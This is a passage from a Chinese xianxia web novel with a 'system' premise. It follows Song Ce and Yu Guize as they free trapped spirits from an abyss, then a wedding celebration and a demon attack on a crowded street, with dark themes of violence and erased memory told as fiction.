“极渊里的亡灵怨念深重,千年万年难消,他们再等一个能真正解救他们的人。”
宋策揽着喻归泽的腰,手指紧拉着他的腰带,喻归泽侧身看向身边的人,想说些什么,但却直接被宋策传音打断脑中所思所想。
“你又想找死是不是?”
“宋哥,这一路一直有人在引导我,他们要的是天灵族的灵丹,是我。”
耳边是无数怨灵嘶吼狰狞的痛呼,每一个灵魂都仿佛痛到骨子里,喻归泽脑海中骤然闪现出许多画面,刹时他感受到胸前一片灼热,是一直挂在脖子上的戒指在发热。
他心念一动,戒指无端飞到他的额前,明明眼睛受损看不清任何画面,但是模糊的视线中央凌空悬起一个圆形小环,他能透过圆环清晰看见无数迅速飞过的画面。
无声的画面与四周喧闹声呼应,喻归泽顿时感觉脑海中一阵阵刺痛,好似有什么东西要从识海中奔涌而出,心口如同被利刃刺破,混乱的种子就此种下,极渊的场景如此熟悉,血腥味魂魄燃烧的腐败味道都在侵蚀着他的灵魂。
他控制不住自己浑身颤抖起来,嘴里也胡乱说着什么:“别、不是这样的!”
喻归泽空洞的瞳孔骤然变红,他摩挲着宋策的手,嘴唇不断颤抖嗫嚅说着什么:“宋哥,宋哥,我要救他们,来不及了,就要来不及了!”
“等等!”
宋策伸手去拉,最终从手中滑落那一块白色,他想御空去追,灵力却受到法阵的压制,不容他有任何挣扎。
“你是灵族,天生就有压制灵煞的能力!”
“天道是公平的,灵族天生就应如此,将灵丹献出来吧……”
云书的声音还在脑海,带有蛊惑的音色含着笑意,喻归泽像是陷入某种痛苦的回忆中,他运转周身灵力,丹田中的灵丹渐渐脱离身体,眼前的戒指和灵丹产生共鸣发出“嗡”的共鸣声,有所感召似的,喻归泽无师自通念出古老而繁复的咒语,像是无数次联系过的那样,符串从脑海中显现。
犹如感受到千年之前同族血脉的呼唤,体味共感灵力的遗迹。
也许这就是我活下来的意义。
喻归泽心中某名出现这一个念头,他不应该活下来,灵族天生如此,感受到身体的每一丝灵力的流逝他的意识也逐渐陷入一片虚无之中。
救人和救己,他哪一个都做不到,他果然像宋哥说的那样笨。
“宋策,别发疯!”
朱半规忙不迭要拽住宋策却被一脚踹开,风熙羽小碎步躲开跌倒的朱半规,疾步躲避的样子看着很是嫌弃。
当事人看着追去的宋策旋即破口大骂:“你个疯狗,你会被撕成渣滓!”
朱半规倒不是真的担心这个疯子,他中毒都快不行了,只有宋策有解药,现在这疯子要是死了,他找谁要解药,他看了看阴影笼罩的上方,有些自嘲地想,不用等解药了,等会儿他也要死了。
“宋大爷,你真给我害死了!”朱半规咬牙切齿地骂着宋策,要不是他在黑风鬼面前提一嘴,他怎么会跑这鬼地方来送命。
苍月沉默着看着消失在眼前的宋策,眼眸深沉如水,眸光照耀天顶烈阳一般的阵法光芒,苍月目色恍惚一瞬,似是想起些什么,嘴角露出一抹意味不明的笑意。
□□旺盛的人往往能
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在一瞬间找到和自己同类的人,苍月第一次见宋策是在黑风鬼的猎妖阵法中,一身浴血的他,隐忍地擦去嘴边血迹,低眉顺目地恭敬跪地俯拜黑风鬼,收敛浑身尖刺将自己妖丹献出,污血浸透他的漆色法衣,等他站起身时候,地面一圈都晕染着他身上的鲜血。
纵使亲自折断自己的傲骨,敲碎自己的爪牙,低头敬拜做出一副顺从的样子,苍月也不信宋策这样的人真的心甘情愿为谁驱使。
宋策和他们不一样,很多时候他仿佛有种置身事外的淡然,却又带着不得不融入浊世的愤慨,似乎含着毁灭一切的疯狂恨意,没有归属感没有真实情感。
但这次怎会如此?
苍月觉得奇怪但也有趣。
“我们几个人有谁能真的像个人样?”段厄不知何时站在苍月身侧,他褶皱弥补眉眼下瞥,似是想起些不愉快的事情。
苍月回身看段厄,长眉扬起全然没有刚才的怅然,意有所指:“段家偏出情种啊,段公子?”
段云清弃段家家主之位不顾舍身来这鬼城封印极渊。
她记得上仙界传闻段云清与其弟也就是现任段家家主段云芷幼年被魔族掳走险些丧命,这些年段家和魔族互不对付,没想到段厄能不顾家中事宜和魔族交好,最后把自己搞成这幅模样。
段家那眼高于顶的样子,谁都瞧不起的母辈、父辈居然也能出这两个怪人物。
她更没想到段厄是修道大族段家人,说起来段云清和段厄应该还算是堂兄弟,想到这一层面苍月觉得这段家人还真都怪有意思的。
段厄抱着短剑,掌纹溢出的鲜血还粘在剑鞘上,他回身翻了一个白眼对苍月的调侃仿若未闻。
苍月撇撇嘴,想着可能剑修都是这幅死脑筋,和这些舞刀弄枪的粗人难以交流。
……
“宿主,我想起来这家伙叫什么名字了。”宋策坐在红梅树下,微雪落满枝头,寒风吹过,细碎的白雪抚上他醉意朦胧的眉眼,为他驼红的脸平添几分萧然淡漠。
宋策听着系统絮絮叨叨的声音,有些恍惚,这么多年了,只有系统一直在他身边,他对这鬼东西也是恨过的,不知道坑过多少次系统,如今还能心平气和地坐在这里谈话属实难得。
自从宋策醒过来之后,他很多时候觉得这一切都不真实,前世遥远的记忆模糊不清,有时候他在想到底哪一个世界才是真实的,现代记忆遥远的像他醉酒之后的一场梦,经历生死之后的种种都淡的像一层云烟消散了。
“囚血?”
始终攥在手心的红绫倏忽一震动,宋策回神,它在宋策从袖口钻出利落地将他手中酒杯撬走,探出“脑袋”竖在他眼前。
“是释灵!”
“……灵……”释灵听到关于自己的名字兴奋地抖动起来,往宋策怀里团吧团吧,似乎很开心自家主人终于叫自己名字了。
但其实宋策脑子里晕乎乎的,在回味酒的味道。
周牧也是真舍得,酒里不知道加了多少天材地宝,这般喝下后劲确实大,和在前世的应酬下即使谈生意喝到胃出血也要喝的酒不一样,和三百年前故意麻醉自己的酒精也不一样,这酒是真的醉人,意识朦胧混沌仿佛处在梦中。
“囚血是喻归泽的本命法器,释灵和囚血同出一源。”系统觉得宋策真的很不在乎自己的事情,什么都不记得。
“囚血啊,好久没看见过了。”宋策支起腿,手肘撑在膝盖看着远处的红梅,风裹挟着霜雪轻轻吹开眼前遮挡的枝丫,空气中还能嗅到不属于梅雪的清香,宋策感觉脑子清醒了些,还没反映过来,手中释灵像是受到某种召唤似的攥紧宋策手腕将他用力往前一拉。
“嘭!”
酒壶碎裂的声音落在花树下,溅出的酒水淋湿了薄纱似的的雪,宋策还有些可惜地想:“这么好的酒,离开的时候要问周牧再要几壶。”
羽毛般轻盈的雪温柔地抚过他的眉眼,冰冷的风雪将宋策的醉意吹醒了大半,等他抬眼再看,鲛纱垂落在梅花错落之间,轻羽点缀的袂边就这样映入眼帘。
一条晶莹剔透的长尾慵懒地从它下摆伸出盘在梅花枝干上,月光之下,这条尾巴在腊雪红梅间散发着晶莹绚丽的色彩。
“!”
还没等系统尖叫,宋策酒已经彻底清醒了。
来不及了!
还没有所格挡的动作,微风已经吹乱两人交缠的长发,身下人漆色倾长的睫与轻轻颤抖着,狭长的眉眼似乎隐忍着什么暗色随即施舍一般抬起。
如雪夜风雪一般冷厉的眉眼蕴含着宋策看不清的颜色,琉璃一般的浅淡瞳孔在他眼前微微染上绯色,水晶似的瞳色在月光下却不像它的主人那般清冷,反而带着蛊惑心智的魅然。
但宋策知道这是他情绪失控的征兆,以前他每次招惹这人事,他眼睛都要这般变化出颜色。
想起这人不喜酒气,也十分厌烦别人触碰他的尾巴,察觉到手掌之下的顺滑凉意,宋策谨慎地低头看了眼裸在外的尾巴,他手下意识一抖瞬时挪开,拉开两人之间的距离,缠绕在枝头的尾巴尖尖因为宋策的动作柔软地从花瓣上落下。
“……”
宋策捻起他的尖尖又重新放在花瓣上,摇曳的梅花摇摇晃晃地颤着,做出这动作后,不光宋策自己,就连系统觉得他脑子坏了。
要不是看着喻归泽眼珠子顺着他的视线滚了一下,宋策都快怀疑这人是个假人了,他刚有动作突然感觉手腕一紧,抬头看去释灵的另一端正握在喻归泽手里,他斜靠在树上,手腕一动,刚才被宋策拉开的距离再次收紧。
清晰的味道充斥鼻尖,宋策微微侧头躲开却被喻归泽摸上脸颊,带着雪夜凉意的指尖缓缓划过,宋策躲避的动作顿住。
“是不是很疼?”
呼啸的风将他的声音消音在风中,但是宋策还是听到了这声叹息似的慰问,好似穿过经年累月伴着跌宕风雨,摇摇晃晃地终于问到了他想问的人。
颜丹臣灵力特殊,刀锋会留下疤痕,这一点宋策并不奇怪,九婴总是很可惜说回到族里要为他祛疤,说这么好的脸伤了很可惜。
但是宋策倒是没有在意。
宋策微合的眼睛尽量避开这条夺人眼球的尾巴,别说碰了,以前就是看一眼喻归泽也恨不得要挖了他的眼睛。
虽然从前他不在意喻归泽怎么样,但是如今实力不允许,宋策还是选择低头做人。
冰凉的触感抵在嘴边,宋策下意识张嘴一颗丹药就这样顺势化在嘴里,舒缓的灵气浸润脸侧,好半晌,系统才出声音。
“宿主,不是毒药哎”,系统以第三视角检查了一下宋策的身体状况,“脸上疤痕没有了!”
“宿主,感谢你长了一张好脸,我现在开始怀疑任务对象因为你这张脸不准备杀你了,他可能打算把你当做侍寝炉鼎——慢慢折磨。”
听着系统这些熟悉的措辞,宋策漠然:“真稀奇。”
65. 回忆·现实
“蠢货,你知不知道你会死!”
无数怨灵将两人围剿,也许是忌惮着什么,它们并未冲上来,宋策想靠近却被一面屏障挡挡住。
喻归泽显然正深陷噩魇失神地看着什么。
“我不应该活着……”
“为什么活着的是我!”回忆起什么痛苦的记忆,他紧锁眉头双目充血痛苦地抱着头无声呐喊着。
系统算是看明白了,提醒宋策:“宿主,他是不是想起什么了?”
宋策其实一直都知道喻归泽每夜会陷入灵族覆灭的梦魇中,但醒来后却又什么都不记得。
如今极渊灵煞勾动他体内灵丹的共鸣,兴许是想起些什么难以接受的记忆片段。
“小友,他信你!”
段云清突兀地出现,他唤出灵力灵力将宋策推到喻归泽跟前,两人在不久之前灵修过,气息相互交融,喻归泽的灵力不排斥他的靠近。
不断震动的灵丹气息刹时将两人围堵,丝丝缕缕霸道的灵气穿透他们的心脉又连接。
喻归泽陷入噩梦中无法挣脱却不排斥他的触碰,宋策伸出手碰了碰身边人的头顶,抱着不断颤抖的他。
他浑身一震,宋策捧着他的脸,指尖触碰到冰凉的水意,支撑的动作稍顿但下一瞬他瞳色深暗掠过无情的眼芒。
指尖深陷喻归泽的皮肤,宋策低头在他耳边说:“痛苦是没用的,你要让你的仇人千倍万倍感受你的痛苦。”
“你越懦弱你的仇人就越开心,你越强大他们便心生胆怯。”
“宿主,你不要这么暴力!”系统被宋策吓到了,怎么可以对一个父母双亡,全族尽灭的小可怜这么凶!
宋策屏蔽掉了没用的系统,狠心掐着喻归泽的脖颈将他提起,这个世道就是这样,不对自己狠下心就会有别人来教你。
“你想死我现在就能杀你!”
宋策手指收紧,喻归泽呼吸一窒:“咳咳咳……”
“那我当初为什么要多此一举救你?”
他知道喻归泽能看到一点阴影,遂直接道:“看着我!”
“若非我救你,你如今怕是躺在哪个满肚肥肠脑缠荤腥的妖修床上!”
宋策的手陡然收紧,喻归泽好似想起些什么,茫然的视线有片刻的恍惚:“宋哥……我……”
“咳咳咳……我要报仇咳咳……”他的泪止不住的滚下,喉咙里滚着短促的喘音,似是清醒又昏沉,“不不不,宋哥我要带你出去,我不能死……我要报仇咳咳咳……”
他的手松开,只见指腹下的皮肉泛起淤青,宋策指尖微动最终还是放下手。
喻归泽回复清醒,他握着宋策的手大口喘息着,如同一个抓住唯一求生浮木的溺水者浑身湿冷颤抖,等他在想些什么脑海里却一片空白混沌。
连接两人心口的连心蛊都快要将他的心切碎,终于还是唤醒一点神志,宋策无声地缓和了一口气。
只是想起片段,并不会完全记起来,现时现今回复记忆只会坏事。
段云清的声音适时出现在两人身边,他靠近宋策,言语都是意料之中:“我就知道你可以!”
喻归泽将灵丹运转出体外,脱体而出的灵丹散发着绚丽的灵光,它上下浮动着吸收极渊中的灵气,准确来说是转化霸道不受控的灵煞为己所用。
“神奇吧?”段云清的神魂气息萦绕着淡淡的安抚力量,靠近时宋策能感受到治愈的作用。
段的声音朦胧却带着某名感叹:“天灵族真是一个很神奇的种族。”
“天道之子?”宋策抱臂接话。
段云清轻轻摇着头,并不赞同宋策的说法:“灵族虽修炼迅速身负旁人羡慕不来的气运但却也存在极大的风险,永生永世与其纠缠不得挣脱,我却觉得是一种诅咒呢,灵丹与灵煞共鸣,他们每一次运转的灵力都会勾连一种神秘的力量与之共生共死。”
周围的怨煞在喻归泽幻化出灵丹的同时都聚拢在一起,它们嘴里吐露出嘈杂的言语,喻归泽心念一动,他居然能听得懂这些咒语。
地脉震动,山峦崩裂,更多的灵煞从地底涌现,煞气聚拢汇成旋转流离的流星最终收拢成一点,天幕之上的屏障裂开一条缝隙,如蛛网般逐渐撕裂。
“嘭!”
刹时那些聚集在上空的冤魂朝上飞去,他们凝聚在一起巨大的力量撕碎着压迫他们千年的牢笼,就在这时地脉中生出一股如同深渊怪物般的吞噬力,众多灵魂都被吸进地下的深渊之中。
他们跌入无尽的黑暗中,喻归泽的身影同样被卷入混沌,宋策毫不迟疑向他的身影追去。
跌入深渊的同时,炙热的灼烧感再次围住两人,四周都是冤魂痛苦挣扎的吼叫声,但这一次他们却并没有直接攻击他们。
宋策全凭心脉的连心蛊感受喻归泽的位置。
“宋哥,我在这里……”一点光亮照在他们中间,宋策应势轻轻地捧其他们之间漂浮的灵丹。
如同保护唯一的星火,小心且谨慎,余光里宋策看见了另一抹羸弱的紫色光晕,他们回身看去,众多冤魂为他们敞开一条路。
那是无数怨灵与魂魄滋养而出的灵草,在黑暗的深渊中散发着淡淡的荧光,普通却坚韧,无风却轻轻地晃动着,这是着深寂无望的地狱中唯一的色彩,幽紫的叶脉捧着一朵白色花朵,花瓣中心一点血红向经脉之外扩展。
“叮咚!”
“宿主,我们捡到宝啦!”
系统将任务页面调出来:“资料里显示这是修复喻归泽灵丹的一味草药!”
【幽魂花:生长于极渊,需吸收怨灵自愿献祭的魂魄供养己身……花瓣汇聚天地至纯至善之灵气可稳本培元修复根本……根茎叶脉……】
系统还不忘报喜:“宿主,显示极渊特殊任务已经完成,当前能量恢复60.56%,积分180哎!”
当年献祭极渊中并无全然都是被迫的修士,也有自愿随之共存亡的修道者,死后灵魂化作养料,无数的生魂交融终成一棵天地灵宝,身前护着皓月城,死后也要为这黑暗深渊中迷茫的怨灵在往生路添上一点明光。
那朵花就这样静静地悬浮着,慢慢朝喻归泽飘来,嫣紫色的幽光化作一缕缥缈的青烟汇入他们中间,是他们选择了他。
刹那间深渊光芒大盛,千千万万的魂魄拖着两人往上,逸散的灵力尽数被喻归泽吸收,段云清面露喜色从上方接住他们,他化作流云又或者风雨旋转萦绕着两人,为他们洗去周身的伤痛,这些经历千年折磨的魂魄终于接受到了迟来的救赎,萦绕数年的灼痛终于在这一刻缓解。
奔涌的群潮如同掀起的巨浪往上推举,赤焰似的屏障终究抵不住汹涌的波涛。他们像是重新脱胎的婴幼儿终于挣脱束缚奔向自由的世界,也许在下一秒他们会化作一缕青烟消失,又或者堕入幽冥重入轮回,但终究脱离了这烈狱的折磨。
从地底升出千千万万的魂魄冲破牢笼,喻归泽和宋策的身体被不断涌现的魂魄撞的摇摇晃晃,他们在数道光影中对视。
宋策看清他的脸上还有未有干的泪痕,晶莹闪烁,无声笑了。
“宋哥……我们做到了……”
血液交融,□□焚烧在烈焰中,红色光晕汇聚成一团,凝结又撒开,一条红色绸菱灵活地穿梭在两人身边骤然将他们拉进,另一颗像血色水滴模样的东西飘到喻归泽眼前。
这是刚才将他们拉出深渊的东西。
圆润的血珠晶莹剔透,仔细看去似乎是一层透明的琉璃圈住一滴血液在里面晃动,指尖轻戳,那颗血珠又能亲昵柔软地化作其他形态。
感受着手中炙热的触感,喻归泽有所感应似的脱口而出:“囚血。”
喻归泽与血珠感应,珠子顿时发出血光。
他察觉到心脉似乎与它定下某种契约,珠子中心出现两个小字——囚血,下一秒它飘忽一下落入喻归泽的眉心消失不见。
【释灵:
等级:天阶灵器
攻击:###
防御:###
……】
缠绕在宋策手上的灵器偷偷钻到两人身前,宋策默然移开视线,但释灵依旧不放弃似的飞到他的眼前,宋策忍无可忍闭了闭眼睛。
“释灵。”
它听到宋策终于愿意喊它时,它兴奋地绕着两人转圈圈最后将他们的缠在一起。
“能量恢复了?”
系统有自带的积分商城,能在自身能量恢复至60%时自动打开。
系统立马打开了可视页面,宋策大致扫了一眼,积分兑换物品的价位基本都是100朝上,180个积最多只能兑换一件物品。
“这些都是些什么东西?”宋策很嫌弃地撇开商城,就连最基础提升修为的丹药都没有。
“香水?”
“春药?”
“迷香?”
宋策无语地闭了闭眼,觉得没眼看,这些东西他自己都能炼制,他要商城做什么。
“宿主,能量——”
宋策打断:“别和说什么能量不足所以还没更新,废就是废哪有那么多借口?”
随意扫视了一眼,宋策花了120个积分兑换了个东西。
主世界的能量兑换的东西,至少是超脱于小世界规则,宋策很放心,准备用在喻归泽身上,忘记极渊这段记忆,对谁都好。
“宋哥……”
不断接踵擦肩而过的灵魂穿过他们,喻归泽朝着眼前那个模糊的影子飞去伸手想抓住他,但是下一刻突然感觉肌肉松软止不住往下坠落。
宋策沉身接住了他。
“我来。”段云清不知道从哪里现身,他如流云
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般缥缈的身影环绕在两人身边,伸出手轻抚喻归泽的眉心,隐隐舒缓了一口气。
“还好这种蛊毒并未深入骨髓。”说着他周身骤然散发着温和的光芒,无数灵光颗粒从他身上汇聚交融逐渐漂浮在喻归泽身上,他叹了一口气似是很疲惫,“这毒难解,只能如此了。”
散去其余功力消去他体内的蛊毒,段云清这次真的要走了,宋策抱着喻归泽垂首答谢:“多谢前辈。”
“蛊毒阴险,不过——”
他的身体在众多赤色怨鬼的映照下,显得异常单薄,他翻手伸出一卷玉简:“我与殊灵交好,这是她留下关于医蛊道法的传承残卷。”
“修道者当证道求法,问心无愧,其余交给天吧。”
她说的洒脱,灵魂脱离了极渊的桎梏,附在她身上的那抹遮掩的白光终于淡去,宋策终于看清了她的脸听清了她的声音。
她眉眼锋利却不失温柔,嘴角勾起露出欣慰的笑容,未簪花戴冠披散着长发却依然显露出遗世独立般的怜悯姿态。
仙人隔云端,俯身怜人间。
世人对她的传言都不是真实的她,对她们的谣言也不能描绘万分之一的神韵,是非在人心,不论是段家少主还是天衍宗首席弟子,她都是她,段云清问心无愧。
宋策用灵力托住喻归泽,恭敬俯身至腰行礼,抚掌为上接过玉简:“晚辈多谢道尊赐法。”
不知何时,楚生看向那无形的风,终于还是闭眼感受着她最后的恩惠,轻声叹了一口气:“起风了……”
“段云清居然——”
朱半规浑浑噩噩脑子不清楚但还是发出了一声惊叹:“那她和殊灵道尊在上仙界传的沸沸扬扬的谣言都是假的?”
“我当年倒卖的那么些话本都是假的?”
他僵硬地转身看着段厄试图从他脸上找出什么来,没想到段厄神色某名地绕开朱半规:“她早些年和段云芷流亡魔界,一直以男装示人。”
虽说他们同属段家主脉一支,但两人几乎没有说过话,并不熟悉,当年只知道他这位堂姐将来是要继承家主之位的长女,他对家族事务并不上心,其余诸事并不知情。
“宋策!”
屠期绝等的就是这个时候,他要的是殊灵道尊的残卷。
宋策早有准备,他不是屠期绝的对手,但是他有系统的能量。
交易?
他宋策从来不做亏本的买卖,想抢?他可记得这两面三刀的魔在幻境中是如何挑拨离间,擅自让喻归泽冒险入极渊大阵的。
“做梦。”
屠期绝在段云清消失的那一瞬突然出现,魔气奔涌而出,宋策利用怨灵的阻扰躲开攻击,地脉之下依然燃烧着熊熊烈火。
他们一行人也是时候离开极渊了。
……
窗户被风吹得“嘎吱”作响,昨夜宿酒,宋策感觉头痛欲裂,他支起腿从床上坐起瞥了眼窗户,视线冷静地扫过屋内陈设,桌上蜡烛燃尽落下淋漓的疤痕。
屋内进了其他人。
“好重的魔气。”
宋策挥袖搭将手搁在膝盖上,随即看向帷幕之后,挑眉道:“你怎么在这里?”
“我还想问你怎么在这里?”
一双白皙修长的手探出轻轻拨开珠帘,是老熟人了。
屠期绝抱臂懒散地走至宋策床前,弯腰看向他,嘴角勾起调侃的笑意:“宋大人正是万千风流,勾人心神呢。”
虽然早在三百年就见过这张脸,但每次见到宋策都要嘲讽一番,这人总是装出温柔谦和的模样殊不知总是顶着这张看似谦谦君子的脸,花言巧语鬼话连篇,装模作样四处招摇撞骗。
胆如斗大,天恒阁首领都敢招惹,还有什么是他宋大人不敢干的?
这人嘴上吐不出什么好话,千年百年都没办法改掉他嘴贱的毛病,行事乖张的屠期绝,兴许只有他那身为魔界之主的兄长能治住他,扇一巴掌就好了。
“早些年你哥怎么没把你打死?”
就这一句话,他就想起来宋策坑他的糟心事,屠期绝咬牙拧眉,腮帮都被他咬的鼓动起来:“要你管!闭嘴!”
宋策心里嘲笑:“怂包。”
在外不计后果行事招摇,在家还不是一个怕家长的怂货,和他印象里的那些纨绔子弟没什么区别。
屠期绝上下打量着宋策,肆意嗤笑,资质一般的半妖也不知道整天在傲什么,看着就讨厌,他每次看到宋策这幅模样,总要恨恨地想,当初就应该在极渊幻境中直接杀了他,省的看见这张脸总是在他面前摆出一副莫名其妙的清高模样。
宋策不用想都知道屠期绝在想什么,护山大阵的机关怎么没有扎死这只傻货?
这种脑子只有血脉等级将人妖魔分为三类九等的蠢货,和他在同一处空间呼吸都是浪费生命。
66. 回忆·现实(文案)
“大人,我可以帮你……”青面鬼的身影出现在眼前。
“杀他!”云书举着油灯,从他身后现身,烛火将他阴暗诡异的巨大影子投射在墙上。
昏黄的烛光落在宋策脊背上,只见一道伤痕从肩颈斜入腰腹,血痕之下森森白骨暴露在碎裂的皮肉之下,冷汗从宋策额头滴落染湿床榻上的裹布。
“是你告诉黑风鬼关于天灵族灵丹的事。”宋策沉着眼眸看向云书,这两人里应外合,当初绝对是想借黑风鬼之手取走喻归泽的灵丹。
现在深夜又来谈和,这话怎么听都不对劲。
“如今我心愿已了。”
云书耸耸肩:“我从来只做我想做之事,既然你们之前在极渊已经释放所有冤魂,封印了极渊,我自然可以帮你。”
“你不想杀了他吗?被人捏在手心玩弄的滋味不好受吧,这么多年你替他干了多少脏事”,云书想起之前自己因为皓月城的法阵杀了那么多人,他嗤笑道,“如今的你和我当初又有什么区别,他为刀俎,你为鱼肉。”
“杀了他,你就自由了!”
他眼神坚定地盯着宋策,话语里透着诱惑。
幽魂花的花瓣被喻归泽吸收,宋策将其经叶根系带回,黑风鬼吸取鬼城妖修的功力命宋策为他炼制丹药修复肉身经脉,如今黑风鬼功力大成,修为不再跌落,黑风鬼很满意宋策却也再难容下他。
“黑风鬼他不配做皓月城城主,我要他死!”没有利用价值的东西,他怎么会允许这种东西在来皓月城作福作威。
“灵族只有在极其信任之人身边才会毫无芥蒂地唤出灵丹修炼”,云书眨着眼睫,眼尾晕着浅淡的笑意眯起,调笑道,“这难道不是你一直以来的目的吗?”
全鬼城喻归泽只信任宋策,黑风鬼定下他和喻归泽的结契礼,就是为了在那天取他性命,他醉翁之意不在酒,他要宋策死,要灵族内丹。
“宋大人,我们之间谁又比谁清白呢?”
……
风雪城中闹了几日后,许长岁的婚事还是如期举行。
“公子,今日之后就和我回妖界吧。”
其实早在云州城之行前,他去鬼城就是为了去接宋策去狐族,没想到弯弯绕绕发生了这么多事。
宋策的视线扫过门内上下,最终看向手边茶水,言辞含糊态度不明:“看情况。”
“宴席开始了”,九婴看不准他的想法只好先岔开话题,转念想可能他心里有别的打算,遂道,“全凭公子心意。”
九州中来了不少有脸面的人,即使没有到场的也随之送来价值不菲的礼物,流水一样的高级药材灵宝器物占满宝器室,红绸挂满长廊,宋策坐在亭台阁楼之上,遥遥向山下看去,赤练如蛇从山顶游至山脚,烟火照耀天际,山下山上都是热闹的景象。
不过——
许长岁面露不耐,鎏金绣花的大红喜服穿在她身上,她总有种不适应的无措感,不时拢一下袖口,拽一次衣领,却被他爹随之瞪了一眼无奈只能转移注意。
许长岁眼珠子转了一下看见了那双狐狸眼,那双眼的主人举手投足之间魅态横生,眉眼中都是幸灾乐祸的嬉笑。
九婴有种同病相怜的感觉,在狐族他也日日被族内长老催着结亲,但是看到她这副模样他却觉得好笑。
许长岁无视了九婴的调笑,眼角余光撇过身边人,她师兄牵着她的手,指尖无意识地挣扎了一下,他就放开了她。
她从小把顾玹之当作兄长,母亲仙逝,少时父亲总出山门处理事务,一只都是师兄照顾她,明明他尚且只是一个孩子,但依然把她照顾的很好
也许曾经是有过依恋仰慕之情,但随着修为和年纪的增长,她与顾玹之之间似乎渐行渐远,她对他敬重和珍视居多,她一直认为师兄也和她一样是被她爹逼的才被迫娶她。
那天夜里她突袭顾玹之屋舍,被法阵挡在门外,酒瞬间就清醒了,刚准备离开时发现阵法自行解开了,她鬼使神差的从窗户翻了进去。
青年人早已不似如少时那般青涩稚嫩,裸露的背部肌肉线条流畅且分明,她的动静惹得顾玹之的察觉,随即转身看着她。
许长岁发现他在上药,看清了他胸膛之上几处被利器切割的伤痕,但她准备了许久的言辞却在这时脱口而出:“师兄,我觉得我们不合适!”
顾玹之眼瞳中晕染的复杂情绪逐渐消散,只剩下如古井般的平静与深寒,他眼睛轻眯无声地看着她,只是几息之间他便起身换上衣衫,一言不发地为她倒了一杯茶。
两人静默无言良久,最后她是被她爹拽走的。
第二日等酒彻底清醒了,她才想起顾玹之那天是在疗伤,她略有惭愧,她师兄日理万机料理门内外大小事务,出勤后受伤独自一个人疗伤,她还不知轻重地去打扰他属实不该。
分明一切都是那个老头子的错!
许长岁愤然地撇撇嘴瞟了一眼旁边的老头子。
风雪城的雪飘摇落下,许长岁穿着一身红色喜服,系着披风,她埋着脸抵挡着寒风只露出一双眼睛滴溜溜地转着,却察觉一双眼神色莫名地盯着自己。
宋策的视线一直落在许长岁的喜服上,九婴支起脸颊侧脸莫名地看着他问:“公子,你结过契吗?”
酒意上头,他原以为不会得到宋策的回复。
“结过。”
“哎?”九婴回身看去,却发现宋策的身影不见了,风声中隐约传来模糊的声音。
“被我……死了……”
三百年前,他们一行人从极渊回城之后,黑风鬼疯了一样让他和喻归泽结契,宋策觉得厌烦就在新婚之夜把他杀了,剖丹扒皮碎尸万段,婚礼现场一团糟。
热闹的长街上人影窜动,宋策漫无目的地闲逛,十里长街春风不渡,花灯游街歌舞升平。
【叮咚,主线任务更新】
【主线任务:
任务对象:喻归泽
任务执行者:宋策
任务支点:与喻归泽十指相扣,持续时间1分钟
任务倒计时:23h59m59s
完成任务奖励积分:20积分
任务失败惩罚:恢复喻归泽“忘川引”抹除的记忆】
宋策站在街角,上下查看了一下更新的任务。
正在吆喝的商贩站在自己眼前一位丰神俊朗的仙君,他原本想上前介绍自己的灵药,张嘴的那刻突然看见眼前这位风姿不凡的仙君眼中阴郁着暗色,嘴角勾起渗人的笑意似要杀人的模样。
他拿着灵药的手一哆嗦旋即闭嘴了。
系统颤颤巍巍解释:“宿主,这不怪我啊,这是主世界下达的任务信息,和我没关系啊!”
和喻归泽十指相扣,那下一步是不是就要亲吻了?
看到前面部分他还想直接放弃,不做这个任务。
但是这次任务有惩罚机制,若是恢复极渊记忆,那他还有的活吗,当初他花了120个积分兑换了“忘川引”,抹去了喻归泽在极渊的记忆,让他忘记了是谁在极渊破了他的身,毁了他的道……
只是这张脸在极渊的时候就被喻归泽看过,想到这层面他无意识摸着自己的脸,那天喻归泽喂给他药,他脸上被颜丹臣划出的伤痕已经彻底消除,若是真的记起……
宋策叹了口气,算了,坏事干过一推,不差一件两件。
烟火骤然上升炸开,街上的人皆抬头仰望,绚丽的火光照耀在每个人脸上,宋策抬步就要离开这嘈杂的地方。
“师尊,这个如何?”
“师尊?”
林离回身看去,心神一惊,居然又是那位跟在九婴妖主身边的侍从。
他师尊和风雪门掌门商议完事宜后,在宴席之上坐了一壶茶的功夫便独自一人来到山下,她见自家师尊并未阻扰就一并跟随。
方才他见自家师尊经过一处卖花灯的商贩处,神色虽平淡无波,但视线却一直落在花灯上,她便以为是他感兴趣就自行挑选起来。
没想到在这里又碰到了这个奇怪的修士。
“宿主,任务刚更新就看到任务对象了,这就是天赐的缘分呐!”
形形色色的人从他们身边经过,喻归泽身边的女修手中拿着两只花灯,一只白色小兔子,一只长条条的小白蛇。
宋策垂眸收回视线准备装作没看到想抬脚陷入拥挤的人群。
“等等!”林离喊了一声,在喧嚣的人声中没有丝毫分辨力。
喻归泽的灵力如箭般飞出,利索地穿过群潮勾住了他。
烟火照亮夜幕,不断有拥挤的群潮向街中心涌动,宋策低头发现手上捆缚的力道。
还未等他有所反应,身体先一步动起,胳膊被拖起,身体不受控地躲过身边人。
淡淡的腐朽气息漂浮在空中,他躲开人群,下一秒疾风掠过耳边,几缕青丝落在他耳边,草木清香霸道地驱散异味,腰上抚上一抹温热,他微侧脸凝眸看去,浅棕瞳孔紧缩,随即了然轻笑顺势卸势随着身边人的动作被带走。
人潮中顿时爆发出声声惊呼,众人先是围堵在几处,随后如一块巨头落入平静的湖面爆发出巨大的声响。
“是尸鬼!”
“有魔族!”
“是魔族!”
人群早已乱做一团,一时间数个场景都爆发出动乱,喻归泽将宋策放在一处较高楼阁。
他看向远处动乱的群潮,施法为宋策立下禁制,侧身吩咐林离。
“看好他!”
旋即跳下高台,雪色白影在烛光红灯的招摇下异常分明,他走的飞快,风掀起他的衣袂像一只轻盈的蝶。
宋策靠在栏杆上朝下看去,只觉得他如同一柄出窍的利剑,锋利又迫人,月夜之下冷僻孤寒。
“这么多年了,还是这样。”宋策腿支在栏杆上坐着,另一只腿懒散地垂下前后晃动着。
林离距离宋策五步远,她谨慎地看着人,如临大敌地时刻抚着剑端,察视四周可能会出现的危险。
明眼人都能看出来自家师尊对这位公子不同,林离不敢怠慢。
宋策依靠在栏杆上,微风拂过他他的鬓角,他百无聊赖地卷起自己的长发,月光下他的兽瞳隐隐闪着翡翠色的荧光,艳红的唇角掠过一丝玩味的笑意,看上去万分风流,活像一只活色生香的妖精。
他指尖缠绕着一缕银丝,丝线轻盈地飘动着,林离发现细丝末端绑着一只微小的蜘蛛,若非修士眼力不凡,根本看不清线尾还有绑着东西。
